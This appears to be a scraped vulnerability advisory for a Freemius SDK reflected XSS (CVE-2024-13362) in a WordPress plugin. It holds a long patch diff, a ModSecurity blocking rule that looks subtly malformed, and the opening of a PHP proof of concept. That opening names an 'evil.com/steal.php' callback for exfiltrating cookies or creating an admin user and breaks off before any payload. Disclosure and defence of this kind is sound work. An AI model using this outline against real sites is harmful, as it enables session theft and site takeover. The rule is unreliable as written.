 		<?php } ?>
 	</div>
 	<br>
-</div>
 No newline at end of file
+</div>
--- a/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/columns-visibility/views/lazy-form.php
+++ b/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/columns-visibility/views/lazy-form.php
@@ -1,8 +0,0 @@
-<?php defined( 'ABSPATH' ) || exit; ?>
-
-<div data-remodal-id="modal-columns-visibility" data-remodal-options="closeOnOutsideClick: false" class="remodal remodal<?php echo esc_attr( $random_id ); ?> modal-columns-visibility lazy-modal-columns-visibility">
-
-<div class="modal-content">
-
-	</div>
-</div>
--- a/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/filters/filters.php
+++ b/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/filters/filters.php
@@ -6,7 +6,7 @@
 	 */
 	class WP_Sheet_Editor_Filters {

-		private static $instance = false;
+		private static $instance = null;
 		var $plugin_url          = null;
 		var $plugin_dir          = null;

@@ -201,10 +201,11 @@
 				$editor->args['toolbars']->register_item(
 					'column_locator',
 					array(
-						'type'         => 'html',
-						'help_tooltip' => __( 'Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.', 'vg_sheet_editor' ),
-						'content'      => '<input type="search" id="column-locator-input" placeholder="' . __( 'Locate column', 'vg_sheet_editor' ) . '"/>',
-						'label'        => __( 'Locate column', 'vg_sheet_editor' ),
+						'type'             => 'html',
+						'help_tooltip'     => __( 'Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.', 'vg_sheet_editor' ),
+						'content'          => '<input type="search" id="column-locator-input" list="column-locator-dropdown" placeholder="' . __( 'Locate column', 'vg_sheet_editor' ) . '"/>',
+						'label'            => __( 'Locate column', 'vg_sheet_editor' ),
+						'tooltip_position' => 'right',
 					),
 					$post_type
 				);
@@ -330,7 +331,8 @@
 							$columns = VGSE()->helpers->get_unfiltered_provider_columns( $post_type );
 						}
 						$is_date_filter = isset( $columns[ $meta_query['key'] ] ) && $columns[ $meta_query['key'] ]['value_type'] === 'date';
-						if ( $is_date_filter ) {
+						$formatted_str  = isset( $columns[ $meta_query['key'] ] ) && isset( $columns[ $meta_query['key'] ]['formatted'] ) ? serialize( array_keys( $columns[ $meta_query['key'] ]['formatted'] ) ) : '';
+						if ( $is_date_filter && preg_match( '(customDatabaseFormat|dateFormatPhp)', $formatted_str ) ) {
 							$date_format_for_db = isset( $columns[ $meta_query['key'] ]['formatted']['customDatabaseFormat'] ) ? $columns[ $meta_query['key'] ]['formatted']['customDatabaseFormat'] : $columns[ $meta_query['key'] ]['formatted']['dateFormatPhp'];
 						}
 						if ( empty( $date_format_for_db ) ) {
--- a/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/init.php
+++ b/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/init.php
@@ -154,7 +154,7 @@
 }
 // WPML : Change language to english when we load the spreadsheet page
 if ( !function_exists( 'vgse_filter_wpml_admin_language' ) ) {
-    if ( isset( $_GET['page'] ) && strpos( $_GET['page'], 'vgse-bulk-edit-' ) !== false && strpos( json_encode( $_COOKIE ), '_icl_' ) !== false ) {
+    if ( isset( $_GET['page'] ) && strpos( $_GET['page'], 'vgse-bulk-edit-' ) !== false && !empty( $_COOKIE ) && strpos( json_encode( $_COOKIE ), '_icl_' ) !== false ) {
         add_filter(
             'get_user_metadata',
             'vgse_filter_wpml_admin_language',
--- a/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/user-path/user-path.php
+++ b/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/user-path/user-path.php
@@ -1,137 +0,0 @@
-<?php
-
-if (!class_exists('WPSE_User_Path')) {
-
-	/**
-	 * Note to reviewers. This class saves in the database the last 100 admin pages
-	 * related to this plugin used by the administrator (either when the admin opens
-	 * a page with a slug from this plugin or opens a admin URL containing a identifier as query string.
-	 *
-	 * This information is intended to be used to build a little activity profile and customize
-	 * the experience on the site (hide features that the admin rarely uses, for example).
-	 *
-	 * This information never leaves your server when you are using the free version hosted on wp.org
-	 * , it's just a bunch of activity data stored in your database and used by the plugin locally
-	 */
-	class WPSE_User_Path {
-
-		var $args = null;
-
-		function __construct($args = array()) {
-			if (!is_user_logged_in() || !current_user_can('manage_options')) {
-				return;
-			}
-
-			$defaults = array(
-				'user_id' => get_current_user_id(),
-				'user_path_key' => null,
-				'is_free' => null, // bool
-			);
-			$this->args = wp_parse_args($args, $defaults);
-
-			if ((int) get_option('vgse_user_path_sent')) {
-				delete_option($this->args['user_path_key'] . '_user_path');
-				return;
-			}
-
-			$this->register_page_open();
-			$this->register_trigger_used();
-			$this->register_ajax_used();
-
-			do_action('wpse_user_path_init', $this);
-		}
-
-		function register_ajax_used() {
-			if (!defined('DOING_AJAX') || !DOING_AJAX || empty($_REQUEST['action']) || strpos($_REQUEST['action'], 'vgse') === false) {
-				return;
-			}
-			$this->register_event(array(
-				'eventAction' => 'ajax',
-				'eventLabel' => sanitize_text_field($_REQUEST['action']),
-			));
-		}
-
-		function register_trigger_used() {
-			if (empty($_GET['vgseup_t'])) {
-				return;
-			}
-			$this->register_event(array(
-				'eventAction' => 'click',
-				'eventLabel' => sanitize_text_field($_GET['vgseup_t']),
-			));
-		}
-
-		function register_page_open() {
-			$pages_to_load_assets = VGSE()->frontend_assets_allowed_on_pages();
-			if (empty($_GET['page']) ||
-					!in_array($_GET['page'], $pages_to_load_assets)) {
-				return;
-			}
-
-			$this->register_event(array(
-				'eventAction' => 'open',
-				'eventLabel' => sanitize_text_field($_GET['page']),
-			));
-		}
-
-		function get_events($user_id = null) {
-			if (!$user_id) {
-				$user_id = $this->args['user_id'];
-			}
-
-			$events = get_option($this->args['user_path_key'] . '_user_path', array());
-			if (!is_array($events)) {
-				$events = array();
-			}
-			if (!isset($events[$this->args['user_id']])) {
-				$events[$this->args['user_id']] = array();
-			}
-			return $events;
-		}
-
-		function register_event($args = array()) {
-			$defaults = array(
-				'hitType' => 'event',
-				'eventCategory' => ($this->args['is_free'] ? 'Free' : 'Paid') . ' - ' . sanitize_text_field($_SERVER['HTTP_HOST']),
-				'eventAction' => '',
-				'eventLabel' => '',
-				'eventValue' => date('YmdHis', current_time('timestamp')),
-				'vgStatus' => 0
-			);
-			$args = apply_filters('vg_sheet_editor/user_path/event_data', wp_parse_args($args, $defaults), $this);
-
-			if (empty($args['eventLabel'])) {
-				return;
-			}
-
-			$events = $this->get_events();
-			$events[$this->args['user_id']][] = $args;
-
-			$is_event_repeated_much = count(wp_list_filter($events[$this->args['user_id']], array(
-						'eventLabel' => $args['eventLabel']
-					))) > 5;
-
-			// If the same event happened more than 5 times, we don't register it to
-			// avoid crossing the 100 events limit with the same type of events
-			if ($is_event_repeated_much) {
-				return;
-			}
-
-			// Save only the last 100 items
-			$events[$this->args['user_id']] = array_slice($events[$this->args['user_id']], -100, 100);
-			update_option($this->args['user_path_key'] . '_user_path', $events, false);
-		}
-
-	}
-
-}
-
-
-$inc_files = glob(__DIR__ . '/*.php');
-foreach ($inc_files as $inc_file) {
-	if (!is_file($inc_file)) {
-		continue;
-	}
-
-	require_once $inc_file;
-}
 No newline at end of file
--- a/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/wp-sheet-editor/inc/ajax.php
+++ b/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/wp-sheet-editor/inc/ajax.php
@@ -1,647 +1,649 @@
-<?php defined( 'ABSPATH' ) || exit;
-
-if ( ! class_exists( 'WP_Sheet_Editor_Ajax' ) ) {
-
-	class WP_Sheet_Editor_Ajax {
-
-		private static $instance = false;
-
-		private function __construct() {
-
-		}
-
-		/*
-		 * Controller for loading posts to the spreadsheet
-		 */
-
-		function delete_row_ids() {
-
-			$error_message = array( 'message' => __( 'You dont have enough permissions to do this action.', 'vg_sheet_editor' ) );
-			if ( empty( $_REQUEST['post_type'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['ids'] ) || ! VGSE()->helpers->verify_nonce_from_request() ) {
-				wp_send_json_error( $error_message );
-			}
-			$post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] );
-			if ( ! VGSE()->helpers->user_can_edit_post_type( $post_type ) || ! VGSE()->helpers->user_can_delete_post_type( $post_type ) ) {
-				wp_send_json_error( $error_message );
-			}
-			$row_ids = array_map( 'intval', $_REQUEST['ids'] );
-			$row_ids = VGSE()->helpers->get_current_provider()->filter_rows_before_edit( $row_ids, $post_type );
-
-			foreach ( $row_ids as $id ) {
-				VGSE()->helpers->get_current_provider()->update_item_data(
-					array(
-						'ID'               => (int) $id,
-						'post_status'      => 'delete',
-						'wpse_status'      => 'delete',
-						'comment_approved' => 'delete',
-					)
-				);
-			}
-			wp_send_json_success( array( 'message' => __( 'Rows deleted successfully', 'vg_sheet_editor' ) ) );
-		}
-
-		function get_taxonomy_terms() {
-
-			$error_message = array( 'message' => __( 'You dont have enough permissions to do this action.', 'vg_sheet_editor' ) );
-			if ( empty( $_REQUEST['post_type'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || ! VGSE()->helpers->verify_nonce_from_request() ) {
-				wp_send_json_error( $error_message );
-			}
-
-			$post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] );
-			// If this is a WC attribute, use WC's sanitization function
-			if ( class_exists( 'WooCommerce' ) && strpos( $_REQUEST['taxonomy_key'], 'pa_' ) === 0 ) {
-				$taxonomy_key = wc_sanitize_taxonomy_name( $_REQUEST['taxonomy_key'] );
-			} else {
-				$taxonomy_key = VGSE()->helpers->sanitize_table_key( $_REQUEST['taxonomy_key'] );
-			}
-			if ( ! VGSE()->helpers->user_can_view_post_type( $post_type ) || ! taxonomy_exists( $taxonomy_key ) ) {
-				wp_send_json_error( $error_message );
-			}
-
-			$source = ( ! empty( $_REQUEST['wpse_source'] ) ) ? sanitize_text_field( $_REQUEST['wpse_source'] ) : '';
-			$out    = VGSE()->data_helpers->get_taxonomy_terms( $taxonomy_key, $source );
-
-			if ( is_array( $out ) ) {
-				$out = array_map( 'html_entity_decode', $out );
-
-				$search_term = ( ! empty( $_REQUEST['search'] ) ) ? html_entity_decode( sanitize_text_field( $_REQUEST['search'] ) ) : '';
-				if ( ! empty( $search_term ) ) {
-					foreach ( $out as $index => $term ) {
-						if ( stripos( $term, $search_term ) === false ) {
-							unset( $out[ $index ] );
-						}
-					}
-				}
-				$out = array_values( $out );
-			}
-			wp_send_json_success( $out );
-		}
-
-		function load_rows() {
-
-			if ( empty( $_REQUEST['post_type'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) ) {
-				wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) );
-			}
-			if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_view_post_type( $_REQUEST['post_type'] ) ) {
-				$message = array( 'message' => __( 'You dont have enough permissions to load rows.', 'vg_sheet_editor' ) );
-				wp_send_json_error( $message );
-			}
-
-			$request_data = array(
-				'nonce'                     => sanitize_text_field( VGSE()->helpers->get_nonce_from_request() ),
-				'post_type'                 => VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] ),
-				'paged'                     => isset( $_REQUEST['paged'] ) ? intval( $_REQUEST['paged'] ) : 1,
-				'posts_per_page'            => isset( $_REQUEST['posts_per_page'] ) ? intval( $_REQUEST['posts_per_page'] ) : 0,
-				'wpse_reset_posts_per_page' => isset( $_REQUEST['wpse_reset_posts_per_page'] ) ? (int) $_REQUEST['wpse_reset_posts_per_page'] : 0,
-				'wpse_source_suffix'        => isset( $_REQUEST['wpse_source_suffix'] ) ? sanitize_text_field( $_REQUEST['wpse_source_suffix'] ) : '',
-				'wpse_source'               => isset( $_REQUEST['wpse_source'] ) ? sanitize_text_field( $_REQUEST['wpse_source'] ) : '',
-				'filters'                   => vgse_filters_init()->get_raw_filters(),
-			);
-			// Reset the number of rows per page, we receive this parameter from the client when
-			// the current rows per page > 300 and the request failed
-			if ( ! empty( $request_data['wpse_reset_posts_per_page'] ) ) {
-				VGSE()->update_option( 'be_posts_per_page', (int) $request_data['wpse_reset_posts_per_page'] );
-			}
-
-			$source_prefix               = ( ! empty( $request_data['wpse_source_suffix'] ) ) ? (string) $request_data['wpse_source_suffix'] : '';
-			$request_data['wpse_source'] = 'load_rows' . $source_prefix;
-
-			$rows = VGSE()->helpers->get_rows( $request_data );
-
-			if ( is_wp_error( $rows ) ) {
-				wp_send_json_error(
-					wp_parse_args(
-						array(
-							'message' => $rows->get_error_message(),
-						),
-						$rows->get_error_data()
-					)
-				);
-			}
-
-			$rows['rows']    = array_values( $rows['rows'] );
-			$rows['deleted'] = array_unique( VGSE()->deleted_rows_ids );
-			wp_send_json_success( $rows );
-		}
-
-		/*
-		 * Controller for saving posts changes
-		 */
-
-		function save_rows() {
-			if ( empty( $_REQUEST['post_type'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || ! VGSE()->helpers->verify_sheet_permissions_from_request( 'edit' ) || ! VGSE()->helpers->verify_nonce_from_request() ) {
-				wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to save changes.', 'vg_sheet_editor' ) ) );
-			}
-			$params         = array(
-				'nonce'               => sanitize_text_field( VGSE()->helpers->get_nonce_from_request() ),
-				'post_type'           => VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] ),
-				'allow_to_create_new' => ! empty( $_REQUEST['allow_to_create_new'] ),
-				'wpse_source'         => isset( $_REQUEST['wpse_source'] ) ? sanitize_text_field( $_REQUEST['wpse_source'] ) : null,
-				'filters'             => vgse_filters_init()->get_raw_filters(),
-			);
-			$params['data'] = VGSE()->helpers->sanitize_data_for_db( $_REQUEST['data'], $params['post_type'] );
-
-			$result = VGSE()->helpers->save_rows( $params );
-
-			if ( is_wp_error( $result ) ) {
-				wp_send_json_error(
-					array(
-						'message' => $result->get_error_message(),
-					)
-				);
-			}
-
-			// We use this flag to customize the user experience and hide some notifications for people that already learned how to use the sheet
-			update_user_meta( get_current_user_id(), 'wpse_has_saved_sheet', 1 );
-			wp_send_json_success(
-				array(
-					'message' => __( 'Changes saved successfully', 'vg_sheet_editor' ),
-					'deleted' => array_unique( VGSE()->deleted_rows_ids ),
-				)
-			);
-		}
-
-		/*
-		 * Controller for saving new post.
-		 */
-
-		function insert_individual_post() {
-			if ( empty( $_REQUEST['post_type'] ) || empty( $_REQUEST['rows'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) ) {
-				wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) );
-			}
-			if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->verify_sheet_permissions_from_request( 'edit' ) ) {
-				wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to create new rows.', 'vg_sheet_editor' ) ) );
-			}
-			$post_type            = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] );
-			$rows                 = (int) $_REQUEST['rows'];
-			$dont_return_new_rows = ! empty( $_REQUEST['dont_return_new_rows'] ) && $_REQUEST['dont_return_new_rows'] === 'yes';
-
-			$result = VGSE()->helpers->create_placeholder_posts( $post_type, $rows, $dont_return_new_rows ? 'ids' : 'rows' );
-			if ( $dont_return_new_rows ) {
-				$result = array();
-			}
-
-			if ( is_wp_error( $result ) ) {
-				wp_send_json_error(
-					array(
-						'message' => $result->get_error_message(),
-					)
-				);
-			}
-			wp_send_json_success(
-				array(
-					'message' => $result,
-					'deleted' => array_unique( VGSE()->deleted_rows_ids ),
-				)
-			);
-		}
-
-		function list_posts_by_title() {
-			global $wpdb;
-
-			if ( empty( $_REQUEST['search_post_type'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) ) {
-				wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) );
-			}
-			$post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['search_post_type'] );
-
-			if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_view_post_type( $post_type ) ) {
-				wp_send_json_error( array( 'message' => __( 'Request not allowed. Try again later.', 'vg_sheet_editor' ) ) );
-			}
-
-			$titles = $wpdb->get_col( $wpdb->prepare( "SELECT post_title FROM $wpdb->posts WHERE post_type = %s LIMIT 500", $post_type ) );
-
-			wp_send_json_success( array( 'data' => $titles ) );
-		}
-
-		/**
-		 * Find posts by name
-		 */
-		function find_post_by_name() {
-			global $wpdb;
-
-			if ( empty( $_REQUEST['post_type'] ) || empty( $_REQUEST['search'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) ) {
-				wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) );
-			}
-			$post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] );
-			$search    = sanitize_text_field( wp_unslash( html_entity_decode( $_REQUEST['search'], ENT_QUOTES ) ) );
-
-			if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_view_post_type( $post_type ) ) {
-				wp_send_json_error( array( 'message' => __( 'Request not allowed. Try again later.', 'vg_sheet_editor' ) ) );
-			}
-
-			$where         = ' post_type = %s AND (post_title LIKE %s ';
-			$prepared_data = array( $post_type, '%' . $wpdb->esc_like( $search ) . '%' );
-			$join          = '';
-			if ( $post_type === 'product' && class_exists( 'WooCommerce' ) ) {
-				$where          .= '  OR lookup.sku = %s ';
-				$prepared_data[] = $search;
-				$join            = " LEFT JOIN {$wpdb->prefix}wc_product_meta_lookup lookup ON {$wpdb->posts}.ID = lookup.product_id ";
-			}
-			if ( is_numeric( $search ) ) {
-				$where          .= '  OR ID = %d ';
-				$prepared_data[] = (int) $search;
-			}
-			$where      .= ') ';
-			$sql         = apply_filters( 'vg_sheet_editor/find_post_by_name_sql', $wpdb->prepare( "SELECT * FROM $wpdb->posts $join WHERE " . $where . ' LIMIT 10', $prepared_data ), $search, $post_type );
-			$posts_found = $wpdb->get_results( $sql );
-
-			if ( empty( $posts_found ) ) {
-				wp_send_json_error( array( 'message' => __( 'No items found.', 'vg_sheet_editor' ) ) );
-			}
-
-			$out = array();
-			foreach ( $posts_found as $post ) {
-				$out[] = array(
-					'id'    => $post->post_type . '--' . $post->ID,
-					'text'  => $post->post_title . ' ( ID: ' . $post->ID . ', ' . $post->post_type . ' )',
-					'title' => $post->post_title,
-				);
-			}
-			wp_send_json_success( array( 'data' => $out ) );
-		}
-
-		/**
-		 * Controller for saving individual field of post
-		 */
-		function save_single_post_data() {
-			if ( empty( $_REQUEST['post_id'] ) || empty( $_REQUEST['key'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['type'] ) || empty( $_REQUEST['post_type'] ) ) {
-				wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) );
-			}
-			if ( ! VGSE()->helpers->verify_nonce_from_request() ) {
-				wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to save changes.', 'vg_sheet_editor' ) ) );
-			}
-			$post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] );
-			if ( ! VGSE()->helpers->user_can_edit_post_type( $post_type ) ) {
-				wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to save changes.', 'vg_sheet_editor' ) ) );
-			}
-			$content = wp_kses_post( html_entity_decode( $_REQUEST['content'] ) );
-			$id      = (int) $_REQUEST['post_id'];
-			$key     = sanitize_text_field( $_REQUEST['key'] );
-			$type    = sanitize_text_field( $_REQUEST['type'] );
-
-			if ( VGSE()->options['be_disable_post_actions'] ) {
-				$post_type = get_post_type( $id );
-				VGSE()->helpers->remove_all_post_actions( $post_type );
-			}
-
-			do_action( 'vg_sheet_editor/save_single_post_data/before', $id, $content, $key, $type );
-			$result = VGSE()->data_helpers->save_single_post_data( $id, $content, $key, $type );
-
-			do_action( 'vg_sheet_editor/save_single_post_data/after', $result, $id, $content, $key, $type );
-			if ( is_wp_error( $result ) ) {
-
-				$errors = $result->get_error_messages();
-				wp_send_json_success( array( 'message' => sprintf( __( 'Error: %s', 'vg_sheet_editor' ), implode( ', ', $errors ) ) ) );
-			} else {
-				VGSE()->helpers->increase_counter( 'editions' );
-				VGSE()->helpers->increase_counter( 'processed' );
-
-				$title = VGSE()->data_helpers->get_post_data( 'post_title', $id );
-				wp_send_json_success( array( 'message' => sprintf( __( 'Saved: %s', 'vg_sheet_editor' ), $title ) ) );
-			}
-		}
-
-		function search_users_select2() {
-			$_REQUEST['include_ids'] = 'yes';
-			return $this->search_users();
-		}
-		/**
-		 * Search taxonomy term
-		 * @global obj $wpdb
-		 */
-		function search_users() {
-			global $wpdb;
-			if ( empty( $_REQUEST['search'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['post_type'] ) ) {
-				wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) );
-			}
-
-			if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_view_post_type( $_REQUEST['post_type'] ) ) {
-				wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to search taxonomy terms.', 'vg_sheet_editor' ) ) );
-			}
-			$search      = sanitize_text_field( $_REQUEST['search'] );
-			$include_ids = ! empty( $_REQUEST['include_ids'] );
-
-			if ( $include_ids ) {
-				$rows = $wpdb->get_results( $wpdb->prepare( "SELECT ID,user_login FROM $wpdb->users WHERE user_email LIKE %s OR user_nicename LIKE %s OR user_login LIKE %s OR display_name LIKE %s LIMIT 5", '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%' ) );
-				$out  = wp_list_pluck( $rows, 'user_login', 'ID' );
-			} else {
-				$out = $wpdb->get_col( $wpdb->prepare( "SELECT user_login FROM $wpdb->users WHERE user_email LIKE %s OR user_nicename LIKE %s OR user_login LIKE %s OR display_name LIKE %s LIMIT 5", '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%', '%' . $wpdb->esc_like( $search ) . '%' ) );
-			}
-			wp_send_json_success( array( 'data' => $out ) );
-		}
-
-		function search_taxonomy_terms() {
-			global $wpdb;
-			if ( empty( $_REQUEST['search'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['post_type'] ) ) {
-				wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) );
-			}
-
-			$post_type        = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] );
-			$is_global_search = ! empty( $_REQUEST['global_search'] );
-
-			// Note. The global search is allowed for administrators only
-			if ( ! VGSE()->helpers->verify_nonce_from_request() || ( ! $is_global_search && ! VGSE()->helpers->user_can_view_post_type( $post_type ) ) || ( $is_global_search && ! VGSE()->helpers->user_can_manage_options() ) ) {
-				wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to search taxonomy terms.', 'vg_sheet_editor' ) ) );
-			}
-
-			$search        = wp_unslash( sanitize_text_field( $_REQUEST['search'] ) );
-			$output_format = ( isset( $_REQUEST['output_format'] ) ) ? sanitize_text_field( $_REQUEST['output_format'] ) : '';
-
-			if ( $is_global_search ) {
-				$taxonomies = get_taxonomies(
-					array(
-						'show_ui'      => true,
-						'hierarchical' => true,
-					),
-					'names'
-				);
-			} else {
-				$taxonomies = VGSE()->helpers->get_post_type_taxonomies_single_data( $post_type, 'name' );
-			}
-
-			if ( ! empty( $_REQUEST['taxonomies'] ) ) {
-				$taxonomies = is_string( $_REQUEST['taxonomies'] ) ? explode( ',', sanitize_text_field( $_REQUEST['taxonomies'] ) ) : array_map( 'sanitize_text_field', $_REQUEST['taxonomies'] );
-			}
-
-			if ( empty( $taxonomies ) ) {
-				wp_send_json_error( array( 'message' => __( 'No taxonomies found.', 'vg_sheet_editor' ) ) );
-			}
-
-			$taxonomies_in_query_placeholders = implode( ', ', array_fill( 0, count( $taxonomies ), '%s' ) );
-			$sql                              = $wpdb->prepare( "SELECT term.slug id,term.name text,tax.taxonomy taxonomy, term.slug slug FROM $wpdb->term_taxonomy as tax JOIN $wpdb->terms as term ON term.term_id = tax.term_id WHERE tax.taxonomy IN ($taxonomies_in_query_placeholders) AND term.name LIKE %s ", array_merge( $taxonomies, array( '%' . $wpdb->esc_like( $search ) . '%' ) ) );
-			$results                          = $wpdb->get_results( $sql, ARRAY_A );
-
-			if ( ! $results || is_wp_error( $results ) ) {
-				$results = array();
-			}
-
-			if ( empty( $output_format ) ) {
-				$output_format = '%taxonomy%--%slug%';
-			} else {
-				$output_format = sanitize_text_field( $output_format );
-			}
-			$taxonomies_labels = array();
-			$out               = array();
-			foreach ( $results as $result ) {
-
-				if ( ! isset( $taxonomies_labels[ $result['taxonomy'] ] ) ) {
-					$tmp_tax                                  = get_taxonomy( $result['taxonomy'] );
-					$label                                    = ( $tmp_tax->label === __( 'Tags' ) && $tmp_tax->name !== 'post_tag' ) ? $tmp_tax->name : $tmp_tax->label;
-					$taxonomies_labels[ $result['taxonomy'] ] = $label;
-				}
-
-				$output_key = strtr(
-					$output_format,
-					array(
-						'%name%'     => $result['text'],
-						'%taxonomy%' => $result['taxonomy'],
-						'%slug%'     => $result['id'],
-					)
-				);
-				$out[]      = array(
-					'id'   => $output_key,
-					'text' => $result['text'] . ' ( ' . $taxonomies_labels[ $result['taxonomy'] ] . ', ' . urldecode( $result['slug'] ) . ' )',
-				);
-			}
-			wp_send_json_success( array( 'data' => $out ) );
-		}
-
-		/**
-		 * Enable the spreadsheet editor on some post types
-		 */
-		function save_post_types_setting() {
-			if ( empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['post_types'] ) || empty( $_REQUEST['append'] ) ) {
-				wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) );
-			}
-			if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_manage_options() ) {
-				wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to perform this action.', 'vg_sheet_editor' ) ) );
-			}
-			$post_types = array_map( array( VGSE()->helpers, 'sanitize_table_key' ), $_REQUEST['post_types'] );
-			$append     = sanitize_text_field( $_REQUEST['append'] );
-
-			$settings = get_option( VGSE()->options_key, array() );
-			if ( empty( $settings['be_post_types'] ) ) {
-				$settings['be_post_types'] = array();
-			}
-
-			if ( $append === 'yes' ) {
-				$new_post_types = array_unique( array_merge( $settings['be_post_types'], $post_types ) );
-			} else {
-				$new_post_types = $post_types;
-			}
-			$settings['be_post_types'] = $new_post_types;
-
-			update_option( VGSE()->options_key, $settings, false );
-
-			do_action( 'vg_sheet_editor/quick_setup/post_types_saved/after', $new_post_types );
-
-			wp_send_json_success();
-		}
-
-		function save_gutenberg_content() {
-			$_REQUEST['content']   = wp_kses_post( $_REQUEST['data'] );
-			$_REQUEST['post_id']   = (int) $_REQUEST['postId'];
-			$_REQUEST['post_type'] = VGSE()->helpers->sanitize_table_key( $_REQUEST['postType'] );
-			$_REQUEST['type']      = 'post_dat

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2024-13362
# Blocks reflected XSS via the 'url' parameter targeting Freemius connect/opt-in pages.
# This matches the specific JS-encoded payloads typical for this vulnerability.
SecRule REQUEST_URI "@rx /?.*freemius=connect" "id:20261994,phase:2,deny,status:403,msg:'CVE-2024-13362 Freemius Reflected XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS:url "@rx (?:javascript|data|vbscript|alert|prompt|confirm|onerror|onload|onclick|eval)" "chain"
  SecRule ARGS:url "@rx (?i)<script|<script|%3Cscript|<script" "t:lowercase,t:urlDecode,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

/*
 * This script demonstrates the Reflected XSS vulnerability in Freemius SDK (versions <= 2.10.1).
 * The vulnerable endpoint is typically the Freemius connect/opt-in page, accessed via an admin-ajax or direct URL.
 * The `url` parameter is reflected on the page without escaping.
 *
 * Usage: php exploit.php [target_url] [attacker_callback_url]
 * Example: php exploit.php http://example.com http://evil.com/steal.php
 */

// Configuration
$target_url = $argv[1] ?? 'http://example.com';
$attacker_callback = $argv[2] ?? 'http://evil.com/steal.php';

// Step 1: Craft the malicious payload
// The payload injects a script that exfiltrates cookies or creates an admin user.
